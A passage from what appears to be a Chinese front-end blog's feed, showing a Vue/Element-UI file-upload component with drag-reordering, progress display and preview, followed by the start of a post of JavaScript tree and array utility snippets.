class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br></pre></td><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div class=&quot;imgList&quot;&gt;</span><br><span class="line">    &lt;div&gt;</span><br><span class="line">      &lt;div</span><br><span class="line">        class=&quot;img&quot;</span><br><span class="line">        v-show=&quot;item.url&quot;</span><br><span class="line">        v-for=&quot;(item, index) in upFileList&quot;</span><br><span class="line">        :key=&quot;index&quot;</span><br><span class="line">        draggable=&quot;true&quot;</span><br><span class="line">        @dragstart=&quot;dragstartEventImg($event, index)&quot;</span><br><span class="line">        @dragenter=&quot;dragenterEventImg($event, index)&quot;</span><br><span class="line">        @dragend=&quot;dragendEventImg($event, index)&quot;</span><br><span class="line">        @dragover=&quot;dragoverEventImg&quot;&gt;</span><br><span class="line">        &lt;el-tooltip class=&quot;item&quot; effect=&quot;dark&quot; :content=&quot;item.name&quot; placement=&quot;top-start&quot;&gt;</span><br><span class="line">          &lt;img v-if=&quot;[&#x27;png&#x27;, &#x27;jpg&#x27;, &#x27;jpeg&#x27;].find(function(ii,index,arr)&#123;return ii === getFileType(item.url)&#125;)&quot;</span><br><span class="line">               :src=&quot;fileOnlineShow + item.url&quot; alt=&quot;&quot; @click=&quot;previewFile(fileOnlineShow + item.url)&quot;/&gt;</span><br><span class="line">          &lt;svg-icon</span><br><span class="line">            v-else-if=&quot;[&#x27;doc&#x27;, &#x27;docx&#x27;, &#x27;xls&#x27;, &#x27;xlsx&#x27;, &#x27;pdf&#x27;].find(function(ii,index,arr)&#123;return ii === getFileType(item.url)&#125;)&quot;</span><br><span class="line">            :icon-class=&quot;getFileType(item.url)&quot;&gt;&lt;/svg-icon&gt;</span><br><span class="line">          &lt;svg-icon v-else icon-class=&quot;other&quot;&gt;&lt;/svg-icon&gt;</span><br><span class="line">        &lt;/el-tooltip&gt;</span><br><span class="line">        &lt;i</span><br><span class="line">          v-if=&quot;canDelete&quot;</span><br><span class="line">          class=&quot;el-icon-error&quot;</span><br><span class="line">          @click=&quot;deleteFile(item)&quot;</span><br><span class="line">        &gt;&lt;/i&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">    &lt;div</span><br><span class="line">      class=&quot;uploadFile&quot;</span><br><span class="line">      :class=&quot;&#123; disabledStyle: disabled &#125;&quot;</span><br><span class="line">      v-show=&quot;maxLength &gt; filesList.length&quot;</span><br><span class="line">    &gt;</span><br><span class="line">      &lt;el-upload</span><br><span class="line">        :disabled=&quot;disabled&quot;</span><br><span class="line">        :multiple=&quot;true&quot;</span><br><span class="line">        name=&quot;file&quot;</span><br><span class="line">        ref=&quot;imageUpload&quot;</span><br><span class="line">        :headers=&quot;headers&quot;</span><br><span class="line">        :before-upload=&quot;beforeUploadFile&quot;</span><br><span class="line">        :data=&quot;&#123; folder: folder &#125;&quot;</span><br><span class="line">        :show-file-list=&quot;false&quot;</span><br><span class="line">        :action=&quot;fileUploadApi&quot;</span><br><span class="line">        :on-success=&quot;uploadFile&quot;</span><br><span class="line">        :limit=&quot;maxLength&quot;</span><br><span class="line">        :file-list=&quot;filesList&quot;</span><br><span class="line">        :on-progress=&quot;progress&quot;</span><br><span class="line">        :on-exceed=&quot;onExceed&quot;</span><br><span class="line">        :on-error=&quot;onError&quot;</span><br><span class="line">        :accept=&quot;limitType&quot;</span><br><span class="line">        lazy</span><br><span class="line">      &gt;</span><br><span class="line">        &lt;div :disabled=&quot;disabled&quot; class=&quot;uploadBtn&quot; v-if=&quot;type === 0&quot;&gt;</span><br><span class="line">          &lt;i class=&quot;el-icon-plus&quot;&gt;&lt;/i&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line">        &lt;el-button</span><br><span class="line">          :disabled=&quot;disabled&quot;</span><br><span class="line">          size=&quot;small&quot;</span><br><span class="line">          class=&quot;normal&quot;</span><br><span class="line">          v-else-if=&quot;type === 1&quot;</span><br><span class="line">        &gt;上传文件</span><br><span class="line">        &lt;/el-button</span><br><span class="line">        &gt;</span><br><span class="line">      &lt;/el-upload&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">    &lt;div class=&quot;uploading&quot; v-if=&quot;showLoading&quot; v-show=&quot;progressShow&quot;&gt;</span><br><span class="line">      &lt;div class=&quot;left&quot;&gt;</span><br><span class="line">        &lt;i class=&quot;el-icon-paperclip&quot;&gt;&lt;/i&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">      &lt;div class=&quot;right&quot;&gt;</span><br><span class="line">        &lt;div class=&quot;right-top&quot;&gt;</span><br><span class="line">          &lt;span&gt;&#123;&#123; fileName &#125;&#125;&lt;/span&gt;</span><br><span class="line">          &lt;i class=&quot;el-icon-close&quot; @click=&quot;cancelUpload = true&quot;&gt;&lt;/i&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line">        &lt;div class=&quot;right-bottom&quot;&gt;</span><br><span class="line">          &lt;el-progress</span><br><span class="line">            :percentage=&quot;percentage&quot;</span><br><span class="line">            :format=&quot;format&quot;</span><br><span class="line">            :stroke-width=&quot;2&quot;</span><br><span class="line">            :status=&quot;status&quot;</span><br><span class="line">          &gt;&lt;/el-progress&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">import store from &quot;@/store&quot;;</span><br><span class="line">import &#123;mapGetters&#125; from &quot;vuex&quot;;</span><br><span class="line">import Base64 from &quot;@/utils/base64&quot;;</span><br><span class="line"></span><br><span class="line">export default &#123;</span><br><span class="line">  props: &#123;</span><br><span class="line">    // 是否展示上传时的loading</span><br><span class="line">    showLoading: &#123;</span><br><span class="line">      type: Boolean,</span><br><span class="line">      default: true,</span><br><span class="line">    &#125;,</span><br><span class="line">    maxLength: &#123;</span><br><span class="line">      // 可上传的最大数量</span><br><span class="line">      type: Number,</span><br><span class="line">      default: 1,</span><br><span class="line">    &#125;,</span><br><span class="line">    // 图片集合</span><br><span class="line">    filesList: &#123;</span><br><span class="line">      type: Array,</span><br><span class="line">      default: () =&gt; [],</span><br><span class="line">    &#125;,</span><br><span class="line">    // 上传按钮样式类型</span><br><span class="line">    type: &#123;</span><br><span class="line">      type: Number,</span><br><span class="line">      default: 0,</span><br><span class="line">    &#125;,</span><br><span class="line">    // 是否禁用</span><br><span class="line">    disabled: &#123;</span><br><span class="line">      type: Boolean,</span><br><span class="line">      default: false,</span><br><span class="line">    &#125;,</span><br><span class="line">    // 是否可删除文件</span><br><span class="line">    canDelete: &#123;</span><br><span class="line">      type: Boolean,</span><br><span class="line">      default: true,</span><br><span class="line">    &#125;,</span><br><span class="line">    // 基础子文件夹</span><br><span class="line">    folder: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;imsp&#x27;</span><br><span class="line">    &#125;,</span><br><span class="line">    // 最大允许上传的文件大小，默认单位M</span><br><span class="line">    maxSize: &#123;</span><br><span class="line">      type: Number,</span><br><span class="line">      default: 100</span><br><span class="line">    &#125;,</span><br><span class="line">    // 限制的文件类型</span><br><span class="line">    limitType: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;&#x27;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  data() &#123;</span><br><span class="line">    return &#123;</span><br><span class="line">      headers: &#123;</span><br><span class="line">        &#x27;Authorization&#x27;: &#x27;Bearer &#x27; + store.getters.access_token</span><br><span class="line">      &#125;,</span><br><span class="line">      upFileList: [],</span><br><span class="line">      percentage: 0,</span><br><span class="line">      fileName: &#x27;&#x27;,</span><br><span class="line">      status: null,</span><br><span class="line">      progressShow: false,</span><br><span class="line">      showBigImg: &#x27;&#x27;,</span><br><span class="line">      dialogVisible: false,</span><br><span class="line">      tempArr: [],</span><br><span class="line">      startImgIndex: &#x27;&#x27;, //拖动前图片index</span><br><span class="line">      endImgIndex: &#x27;&#x27;, // 结束拖动的index</span><br><span class="line">      cancelUpload: false,</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  computed: &#123;</span><br><span class="line">    // fileOnlineShow是根据文件路径获取文件流的后端controller接口地址,如果是直接用nginx代理，则为nginx配置的路径</span><br><span class="line">    // fileUploadApi是上传文件的接口地址</span><br><span class="line">    ...mapGetters([&#x27;fileUploadApi&#x27;, &#x27;fileOnlineShow&#x27;])</span><br><span class="line">  &#125;,</span><br><span class="line">  components: &#123;&#125;,</span><br><span class="line">  mounted() &#123;</span><br><span class="line">    this.upFileList = this.filesList</span><br><span class="line">  &#125;,</span><br><span class="line">  watch: &#123;</span><br><span class="line">    filesList(val) &#123;</span><br><span class="line">      this.upFileList = val</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">  methods: &#123;</span><br><span class="line">    // 拖动开始</span><br><span class="line">    dragstartEventImg($event, index) &#123;</span><br><span class="line">      this.startImgIndex = index</span><br><span class="line">    &#125;,</span><br><span class="line">    // 拖动时</span><br><span class="line">    dragenterEventImg($event, index) &#123;</span><br><span class="line">      this.endImgIndex = index</span><br><span class="line">    &#125;,</span><br><span class="line">    // 拖动结束</span><br><span class="line">    dragendEventImg($event, index) &#123;</span><br><span class="line">      const currRow = this.upFileList.splice(this.startImgIndex, 1)[0]</span><br><span class="line">      this.upFileList.splice(this.endImgIndex, 0, currRow)</span><br><span class="line">      // this.$emit(&#x27;getImgList&#x27;, this.upFileList)</span><br><span class="line">    &#125;,</span><br><span class="line">    // 放置</span><br><span class="line">    dragoverEventImg(e) &#123;</span><br><span class="line">      e.preventDefault()</span><br><span class="line">    &#125;,</span><br><span class="line">    // 预览文件</span><br><span class="line">    previewFile(file) &#123;</span><br><span class="line">      window.open(&quot;https://preview.allbs.cn/onlinePreview?url=&quot; + encodeURIComponent(new Base64().encode(location.origin + file)));</span><br><span class="line">    &#125;,</span><br><span class="line">    format(percentage) &#123;</span><br><span class="line">      return percentage === 100 ? &#x27;99%&#x27; : `$&#123;percentage&#125;%` //防止到100时后端处理要时间，会卡在100一小段时间，优化体验</span><br><span class="line">    &#125;,</span><br><span class="line">    // 超出限制</span><br><span class="line">    onExceed() &#123;</span><br><span class="line">      this.$message.error(&#x27;选择的文件超出个数限制&#x27;)</span><br><span class="line">    &#125;,</span><br><span class="line">    // 删除图片</span><br><span class="line">    deleteFile(item) &#123;</span><br><span class="line">      this.upFileList.splice(this.upFileList.findIndex(item =&gt; item.fileId === item.fileId), 1)</span><br><span class="line">      console.log(&quot;删除文件&quot; + item.fileId);</span><br><span class="line">      this.$emit(&#x27;deleteFileList&#x27;, item.fileId)</span><br><span class="line">    &#125;,</span><br><span class="line">    // 上传时的钩子</span><br><span class="line">    progress(event, file, fileList) &#123;</span><br><span class="line">      this.progressShow = true</span><br><span class="line">      this.percentage = Math.ceil(event.percent)</span><br><span class="line">      if (this.cancelUpload) &#123;</span><br><span class="line">        this.$refs.imageUpload.abort()</span><br><span class="line">        this.$message.error(&#x27;文件已取消上传&#x27;)</span><br><span class="line">        this.upFileList = this.upFileList.filter((item) =&gt; &#123;</span><br><span class="line">          return item.url</span><br><span class="line">        &#125;)</span><br><span class="line">        this.progressShow = false</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    // 上传失败</span><br><span class="line">    onError(err, file, fileList) &#123;</span><br><span class="line">      this.$message.error(&#x27;文件上传失败&#x27;)</span><br><span class="line">      this.progressShow = false</span><br><span class="line">      this.status = null</span><br><span class="line">      this.percentage = 0</span><br><span class="line">      this.fileName = &#x27;&#x27;</span><br><span class="line">    &#125;,</span><br><span class="line">    // 文件上传前</span><br><span class="line">    beforeUploadFile(file) &#123;</span><br><span class="line">      this.cancelUpload = false</span><br><span class="line">      if (file.size / 1024 / 1024 &gt;= this.maxSize) &#123;</span><br><span class="line">        this.$message.error(&#x27;只能上传小于&#x27; + this.maxSize + &#x27;M的图片！&#x27;)</span><br><span class="line">        return false</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    // 文件上传成功</span><br><span class="line">    uploadFile(response, file, fileList) &#123;</span><br><span class="line">      if (response.code === 200) &#123;</span><br><span class="line">        this.upFileList.push(response.data)</span><br><span class="line">        this.$emit(&#x27;addFileList&#x27;, response.data.fileId)</span><br><span class="line">        this.$message.success(&#x27;文件上传成功&#x27;)</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        this.$message.error(&#x27;文件上传失败&#x27;)</span><br><span class="line">      &#125;</span><br><span class="line">      // 进度条消失</span><br><span class="line">      this.progressShow = false</span><br><span class="line">      this.status = null</span><br><span class="line">      this.percentage = 0</span><br><span class="line">      this.fileName = &#x27;&#x27;</span><br><span class="line">    &#125;,</span><br><span class="line">    getFileType(url) &#123;</span><br><span class="line">      return url.substring(url.lastIndexOf(&quot;.&quot;) + 1, url.length);</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br><span class="line">&lt;style lang=&quot;scss&quot; scoped&gt;</span><br><span class="line">.imgList &#123;</span><br><span class="line">  display: flex;</span><br><span class="line">  flex-wrap: wrap;</span><br><span class="line"></span><br><span class="line">  div &#123;</span><br><span class="line">    .img &#123;</span><br><span class="line">      position: relative;</span><br><span class="line"></span><br><span class="line">      img &#123;</span><br><span class="line">        cursor: pointer;</span><br><span class="line">        width: 64px;</span><br><span class="line">        height: 64px;</span><br><span class="line">        display: inline-block;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      width: 64px;</span><br><span class="line">      height: 64px;</span><br><span class="line">      display: inline-block;</span><br><span class="line">      margin-right: 8px;</span><br><span class="line"></span><br><span class="line">      .el-icon-error &#123;</span><br><span class="line">        font-size: 16px;</span><br><span class="line">        position: absolute;</span><br><span class="line">        right: -8px;</span><br><span class="line">        top: -8px;</span><br><span class="line">        color: red;</span><br><span class="line"></span><br><span class="line">        &amp;::before &#123;</span><br><span class="line">          cursor: pointer;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">.normal &#123;</span><br><span class="line">  &amp;:hover &#123;</span><br><span class="line">    color: #5d8eff !important;</span><br><span class="line">    background-color: #fff !important;</span><br><span class="line">    border-color: #5d8eff !important;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  &amp;::before &#123;</span><br><span class="line">    content: &#x27;&#x27;;</span><br><span class="line">    cursor: pointer;</span><br><span class="line">    background-image: url(&#x27;/assets/images/upload.png&#x27;);</span><br><span class="line">    background-size: 14px 14px;</span><br><span class="line">    display: inline-block;</span><br><span class="line">    width: 14px;</span><br><span class="line">    height: 14px;</span><br><span class="line">    transform: translateY(2px);</span><br><span class="line">    margin-right: 6px;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">.uploadBtn &#123;</span><br><span class="line">  width: 64px;</span><br><span class="line">  height: 64px;</span><br><span class="line">  background: #f7f8fa;</span><br><span class="line">  border: 1px solid #ebebe8;</span><br><span class="line">  position: relative;</span><br><span class="line"></span><br><span class="line">  i &#123;</span><br><span class="line">    position: absolute;</span><br><span class="line">    top: 50%;</span><br><span class="line">    left: 50%;</span><br><span class="line">    transform: translate(-50%, -50%);</span><br><span class="line">    color: #bebec5;</span><br><span class="line">    font-size: 24px;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">.uploading &#123;</span><br><span class="line">  display: flex;</span><br><span class="line">  width: 162px;</span><br><span class="line">  margin-left: 8px;</span><br><span class="line">  margin-top: 28px;</span><br><span class="line"></span><br><span class="line">  .left &#123;</span><br><span class="line">    margin-right: 8px;</span><br><span class="line"></span><br><span class="line">    i &#123;</span><br><span class="line">      display: inline-block;</span><br><span class="line">      width: 14px;</span><br><span class="line">      height: 14px;</span><br><span class="line">      color: #000;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  .right &#123;</span><br><span class="line">    width: 140px;</span><br><span class="line"></span><br><span class="line">    .right-top &#123;</span><br><span class="line">      display: flex;</span><br><span class="line">      justify-content: space-between;</span><br><span class="line"></span><br><span class="line">      span &#123;</span><br><span class="line">        height: 22px;</span><br><span class="line">        font-size: 14px;</span><br><span class="line">        font-weight: 400;</span><br><span class="line">        color: rgba(0, 0, 0, 0.45);</span><br><span class="line">        line-height: 22px;</span><br><span class="line">        overflow: hidden;</span><br><span class="line">        text-overflow: ellipsis;</span><br><span class="line">        white-space: nowrap;</span><br><span class="line">        width: 130px;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  .el-icon-close &#123;</span><br><span class="line">    line-height: 22px;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">.disabledStyle &#123;</span><br><span class="line">  cursor: not-allowed;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/deep/ .svg-icon &#123;</span><br><span class="line">  width: 64px;</span><br><span class="line">  height: 64px;</span><br><span class="line">  cursor: pointer;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/style&gt;</span><br></pre></td></tr></table></figure><h3 id="涉及到的svg图片">涉及到的svg图片</h3><div class="gallery-container" data-type="data" data-button="::::one">      <div class="gallery-items">[]</div>    </div>]]></content>
    
    
    <summary type="html">文件上传组件封装、预览,使用element-ui的el-upload组件</summary>
    
    
    
    <category term="前端" scheme="https://blog.allbs.cn/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="vue" scheme="https://blog.allbs.cn/tags/vue/"/>
    
    <category term="element-ui" scheme="https://blog.allbs.cn/tags/element-ui/"/>
    
  </entry>
  
  <entry>
    <title>js常用的工具类示例</title>
    <link href="https://blog.allbs.cn/posts/61785/"/>
    <id>https://blog.allbs.cn/posts/61785/</id>
    <published>2022-10-27T03:18:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h3 id="轮训获取树形结构的每一条线">轮训获取树形结构的每一条线</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取树形结构的每一条线</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> <span class="variable">tree</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">recurTree</span>(<span class="params">tree</span>) &#123;</span><br><span class="line">  <span class="keyword">let</span> res = [];</span><br><span class="line">  <span class="keyword">let</span> nodeArr = [];</span><br><span class="line">  <span class="keyword">const</span> <span class="title function_">findPath</span> = (<span class="params">res, tree, nodePath</span>) =&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (tree.<span class="property">children</span>) &#123;</span><br><span class="line">      tree.<span class="property">children</span>.<span class="title function_">forEach</span>(<span class="function">(<span class="params">item, index</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="title function_">findPath</span>(res, tree.<span class="property">children</span>[index], [...nodePath, item.<span class="property">unitId</span>])</span><br><span class="line">      &#125;)</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      res.<span class="title function_">push</span>(nodePath);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title function_">findPath</span>(res, tree, nodeArr);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 最后数据结构示例</span></span><br><span class="line">[</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&quot;3_1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;3_5&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_1&quot;</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&quot;3_1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;3_5&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_12&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_13&quot;</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&quot;3_1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;3_5&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_12&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_14&quot;</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&quot;3_1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;3_5&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_2&quot;</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&quot;1_111&quot;</span>,</span><br><span class="line">        <span class="string">&quot;2_1082&quot;</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&quot;1_111&quot;</span>,</span><br><span class="line">        <span class="string">&quot;3_11&quot;</span>,</span><br><span class="line">        <span class="string">&quot;4_15&quot;</span></span><br><span class="line">    ]</span><br><span class="line">]</span><br></pre></td></tr></table></figure><h3 id="获取一个树形结构的某一个树形的一维数组-flat-num-代表需要获取的层数，Infinity则为获取全部">获取一个树形结构的某一个树形的一维数组,flat(num)代表需要获取的层数，Infinity则为获取全部</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如此处的data可为el-cascader点击后获取到的数据</span></span><br><span class="line">data.<span class="title function_">flat</span>(<span class="title class_">Infinity</span>).<span class="title function_">filter</span>(<span class="function"><span class="params">item</span> =&gt;</span> item != <span class="literal">null</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如[[1,2], [2,3], [5,6,7], [[1,2,3], [6,7,8]]] 会变为 [1, 2, 2, 3, 5, 6, 7, 1, 2, 3, 6, 7, 8]</span></span><br></pre></td></tr></table></figure><h3 id="根据某一个节点获取所有的祖级节点">根据某一个节点获取所有的祖级节点</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 